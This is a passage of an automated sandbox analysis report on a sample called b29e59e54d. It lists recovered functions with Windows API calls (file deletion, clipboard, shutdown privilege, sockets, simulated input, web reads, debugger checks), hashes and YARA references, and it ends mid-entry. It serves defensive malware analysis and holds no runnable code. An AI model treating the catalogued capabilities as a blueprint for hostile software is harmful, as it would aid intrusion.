SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0095838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00958395

Strings

*.*, xrefs: 0095839B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 1e9ab27cd19499a8f7d36c51596e3c1b3ba4de8462100ac1212b351b242c967e
Instruction ID: fe86fd0136d3b3caff69ae62a39e36bc13888ff4eec0f2cffc49f6b1955d1b1c
Opcode Fuzzy Hash: 1e9ab27cd19499a8f7d36c51596e3c1b3ba4de8462100ac1212b351b242c967e
Instruction Fuzzy Hash: 166148B25082459FCB10EF65C841AAFB3E8FF89311F04891DF999D7251EB31E949CB92

Function 0094D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008E3A97,?,?,008E2E7F,?,?,?,00000000), ref: 008E3AC2

Part of subcall function 0094E199: GetFileAttributesW.KERNEL32(?,0094CF95), ref: 0094E19A

FindFirstFileW.KERNEL32(?,?), ref: 0094D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0094D1DD
MoveFileW.KERNEL32(?,?), ref: 0094D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 0094D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 0094D237

Part of subcall function 0094D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,0094D21C,?,?), ref: 0094D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 0094D253
FindClose.KERNEL32(00000000), ref: 0094D264

Strings

\*.*, xrefs: 0094D0CD, 0094D0D6, 0094D0EB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: d0db28d287f62b68c20793b0e05d1767e5ec1cc0e64165d96282b2336f5dd92b
Instruction ID: 9aa138841782d6cb4f6b09ad55bbc5772ccfb941b4e7981522fe7390f99076ba
Opcode Fuzzy Hash: d0db28d287f62b68c20793b0e05d1767e5ec1cc0e64165d96282b2336f5dd92b
Instruction Fuzzy Hash: 32619C3180614DABCF15EBA5C992DEDB7B9FF56300F204069E411B31A2EB70AF49CB61

Function 0095ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0095ED91
EmptyClipboard.USER32 ref: 0095ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 0095EDAC
CloseClipboard.USER32 ref: 0095EEA3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: aacf6deba15a5b30fdd8c52b3558541093cae9b705c7373c21443b420df9767e
Instruction ID: 8ae45932bf481318f40f3bb625d5550797d6e12853f80dbf6385ffd365c7a9c9
Opcode Fuzzy Hash: aacf6deba15a5b30fdd8c52b3558541093cae9b705c7373c21443b420df9767e
Instruction Fuzzy Hash: 694103716182119FD714CF16D889F19BBE4FF44319F04C09DE8298B6A2C736ED85CB80

Function 0094E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 009416C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0094170D
Part of subcall function 009416C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0094173A
Part of subcall function 009416C3: GetLastError.KERNEL32 ref: 0094174A

ExitWindowsEx.USER32(?,00000000), ref: 0094E932

Strings

, xrefs: 0094E95C
SeShutdownPrivilege, xrefs: 0094E902
, xrefs: 0094E920
@, xrefs: 0094E925

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 37a5fa49a39067a84a019308bcc40217d961dd0f2e453919aec29da63e77f413
Instruction ID: d274e782141dea60f94e6ab9bbc07305002e33046d14ea4f7fa461e5ed0b6a96
Opcode Fuzzy Hash: 37a5fa49a39067a84a019308bcc40217d961dd0f2e453919aec29da63e77f413
Instruction Fuzzy Hash: A401F973725211AFEB6426B49C86FBF729CB754790F150825FC13E21D2D6A59C809294

Function 00961204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00961276
WSAGetLastError.WSOCK32 ref: 00961283
bind.WSOCK32(00000000,?,00000010), ref: 009612BA
WSAGetLastError.WSOCK32 ref: 009612C5
closesocket.WSOCK32(00000000), ref: 009612F4
listen.WSOCK32(00000000,00000005), ref: 00961303
WSAGetLastError.WSOCK32 ref: 0096130D
closesocket.WSOCK32(00000000), ref: 0096133C

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: b12829c498e3538a79b44b8017fe7534bb676cbdc800ceefb7c4e0c319a025c4
Instruction ID: d2a99820dc33a1f673082c0d6aa6f471ecb61fa5986a9fabbc31465667e22e4d
Opcode Fuzzy Hash: b12829c498e3538a79b44b8017fe7534bb676cbdc800ceefb7c4e0c319a025c4
Instruction Fuzzy Hash: 7C417F71A001409FD710DF68C498B6ABBE5BF46318F1C819CE8669F296C771ED81CBA1

Function 0091B952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0091B9D4
_free.LIBCMT ref: 0091B9F8
_free.LIBCMT ref: 0091BB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00983700), ref: 0091BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,009B121C,000000FF,00000000,0000003F,00000000,?,?), ref: 0091BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,009B1270,000000FF,?,0000003F,00000000,?), ref: 0091BC36
_free.LIBCMT ref: 0091BD4B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 91103a7fe2af49a145089fa657c2f2a8c9270cf19d94d279914ee6afe47c08cd
Instruction ID: 360795a754601a014fe6bc48a61828af875dec3e04af893f41332794dff9c728
Opcode Fuzzy Hash: 91103a7fe2af49a145089fa657c2f2a8c9270cf19d94d279914ee6afe47c08cd
Instruction Fuzzy Hash: F7C12871B0420DAFDB249F69D851BEA7BEEEF81320F14419AE4A5D7291D7309E82C790

Function 0094D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008E3A97,?,?,008E2E7F,?,?,?,00000000), ref: 008E3AC2

Part of subcall function 0094E199: GetFileAttributesW.KERNEL32(?,0094CF95), ref: 0094E19A

FindFirstFileW.KERNEL32(?,?), ref: 0094D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 0094D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 0094D481
FindClose.KERNEL32(00000000), ref: 0094D498
FindClose.KERNEL32(00000000), ref: 0094D4A1

Strings

\*.*, xrefs: 0094D3F2

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: dc29233c595d23bee4d83b6bb78094a9c69cd06af592a6e3b932330d4d21c005
Instruction ID: 50434544baeb9c51cf99fe93bc52002787ac491f0ae9e212c3912401189d3442
Opcode Fuzzy Hash: dc29233c595d23bee4d83b6bb78094a9c69cd06af592a6e3b932330d4d21c005
Instruction Fuzzy Hash: 68316F7101D3819BC204EF69D8958AF77ACFE92304F444A2DF4E5931A1EB20EA49D763

Function 0095648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 009564DC
CoInitialize.OLE32(00000000), ref: 00956639
CoCreateInstance.OLE32(0097FCF8,00000000,00000001,0097FB68,?), ref: 00956650
CoUninitialize.OLE32 ref: 009568D4

Strings

.lnk, xrefs: 009564BA, 00956524, 009565E0

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: c4427b0a7a6cbe937103486bf015279f9621bc1abeb09b8120e4344350ce6fad
Instruction ID: 397ed81502e97f2b979c4233448752e423a5a47b29b6bc724da891ca3d410133
Opcode Fuzzy Hash: c4427b0a7a6cbe937103486bf015279f9621bc1abeb09b8120e4344350ce6fad
Instruction Fuzzy Hash: 1FD159715082419FC314EF29C881A6BB7E8FF95704F50496DF595CB2A1EB70EE0ACB92

Function 009622DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 009622E8

Part of subcall function 0095E4EC: GetWindowRect.USER32(?,?), ref: 0095E504

GetDesktopWindow.USER32 ref: 00962312
GetWindowRect.USER32(00000000), ref: 00962319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00962355
GetCursorPos.USER32(?), ref: 00962381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 009623DF

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 41de01becf0434a2da198f91d3f80c3392b540d80be81f40f0c3d03adf9b7693
Instruction ID: 9771fcf244d5be404067d9ed49e834b52b4d78e5005956b0d14617662f77cf31
Opcode Fuzzy Hash: 41de01becf0434a2da198f91d3f80c3392b540d80be81f40f0c3d03adf9b7693
Instruction Fuzzy Hash: 1E31EE72509715AFC720DF54C849F9BBBA9FF88710F000A1DF98997291DB35EA48CB92

Function 00959B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00959B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00959C8B

Part of subcall function 00953874: GetInputState.USER32 ref: 009538CB
Part of subcall function 00953874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00953966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00959BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00959C75

Strings

*.*, xrefs: 00959B5D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 4148e0e43a8646cfdffd3de0c734c953552749abd19844ad665983cfa6681f38
Instruction ID: da41799bfb3761c644eb4cc00647eccc42db7be7fe6a5127264690f42e931ae1
Opcode Fuzzy Hash: 4148e0e43a8646cfdffd3de0c734c953552749abd19844ad665983cfa6681f38
Instruction Fuzzy Hash: D5416171904209EFDF14DF69D845AEE7BB8FF45311F244055E859A2191EB309E88CF61

Function 008F997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 008F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 008F9BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 008F9A4E
GetSysColor.USER32(0000000F), ref: 008F9B23
SetBkColor.GDI32(?,00000000), ref: 008F9B36

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 1837497e9833eb13176c7cb0b39cc8845b818aade690722177c35146160a3657
Instruction ID: 185dcce16e73c945b18d357ce0ed348f1656c8f42806b889ff3ae6678cf2ad94
Opcode Fuzzy Hash: 1837497e9833eb13176c7cb0b39cc8845b818aade690722177c35146160a3657
Instruction Fuzzy Hash: CDA17EB120846CBEE738AA7C8C99F7B769DFB82314F10420AF692C65D1CA259D01D772

Function 00961806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0096304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0096307A
Part of subcall function 0096304E: _wcslen.LIBCMT ref: 0096309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0096185D
WSAGetLastError.WSOCK32 ref: 00961884
bind.WSOCK32(00000000,?,00000010), ref: 009618DB
WSAGetLastError.WSOCK32 ref: 009618E6
closesocket.WSOCK32(00000000), ref: 00961915

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 72b04b706c7ca0c6b219e1eea6e68da5ffd7fbffa3897ed10189a9c9a7002be9
Instruction ID: d576f579b0559731347e49a84c047e6a268ca066fcebb58b433076656211d455
Opcode Fuzzy Hash: 72b04b706c7ca0c6b219e1eea6e68da5ffd7fbffa3897ed10189a9c9a7002be9
Instruction Fuzzy Hash: 7351B471A002109FD710AF28D886F6A77E5EB45718F08845CF9159F3D3D771AD418BA2

Function 00971C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00971CC0
IsWindowEnabled.USER32 ref: 00971CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00971CDB
IsIconic.USER32 ref: 00971CE9
IsZoomed.USER32 ref: 00971CF7

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: ede89861b3381eae0cb2f6e9bdb3b2f53cfec00078611306b77ce281809c8929
Instruction ID: 1099ca8f3b023b9deb96a187eb01e3907d5c33e0b4197ea5089b15127acedff7
Opcode Fuzzy Hash: ede89861b3381eae0cb2f6e9bdb3b2f53cfec00078611306b77ce281809c8929
Instruction Fuzzy Hash: 3121A0327402015FD7218F5EC884B2A7BA9EF85314B1DC05CE88E8B251CB71EC42CB90

Function 0094AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 0094AAAC
SetKeyboardState.USER32(00000080), ref: 0094AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 0094AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 0094AB88

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: f405b3a8fc165d5fd51ca91f7d56d42b70546d4c44b7ef99cf1b400efec3ef1d
Instruction ID: 66d935ca39955cef175ce32ef6234f70da8a01855a0be217a1438870dafeb9cf
Opcode Fuzzy Hash: f405b3a8fc165d5fd51ca91f7d56d42b70546d4c44b7ef99cf1b400efec3ef1d
Instruction Fuzzy Hash: 0F312470AC0208AEFF35CB65CC05FFA7BAAEB94320F04421BF585961D0D3798981D7A2

Function 0095CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 0095CE89
GetLastError.KERNEL32(?,00000000), ref: 0095CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 0095CEFE

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: a84ed2004e20a59941296ccf2b3c434f02edc70d46e23e55c6a2423b0566e86e
Instruction ID: c0c4754162854fc463e0b5bfa9fa1a6b6c5466caaf02e5ecc5f3420215e30570
Opcode Fuzzy Hash: a84ed2004e20a59941296ccf2b3c434f02edc70d46e23e55c6a2423b0566e86e
Instruction Fuzzy Hash: 6821BDB25043059FEB20CFA6C949BA677FCEB40319F10481EE946A2151E774EE489B90

Function 00955C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00955CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00955D17
FindClose.KERNEL32(?), ref: 00955D5F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 9569933ebf2e747a4543728d0b3efeb940c1f6eaa12d8c384b9478a00fe337ed
Instruction ID: 86bba7d07dcde8b8b90e7d7c232b3f298d4ea98b6305ca73fa47acac4df32052
Opcode Fuzzy Hash: 9569933ebf2e747a4543728d0b3efeb940c1f6eaa12d8c384b9478a00fe337ed
Instruction Fuzzy Hash: F9519B756046019FC714CF29C494A9AB7F8FF4A314F15855DE9AA8B3A2CB30ED44CF91

Function 00912622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0091271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00912724
UnhandledExceptionFilter.KERNEL32(?), ref: 00912731

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

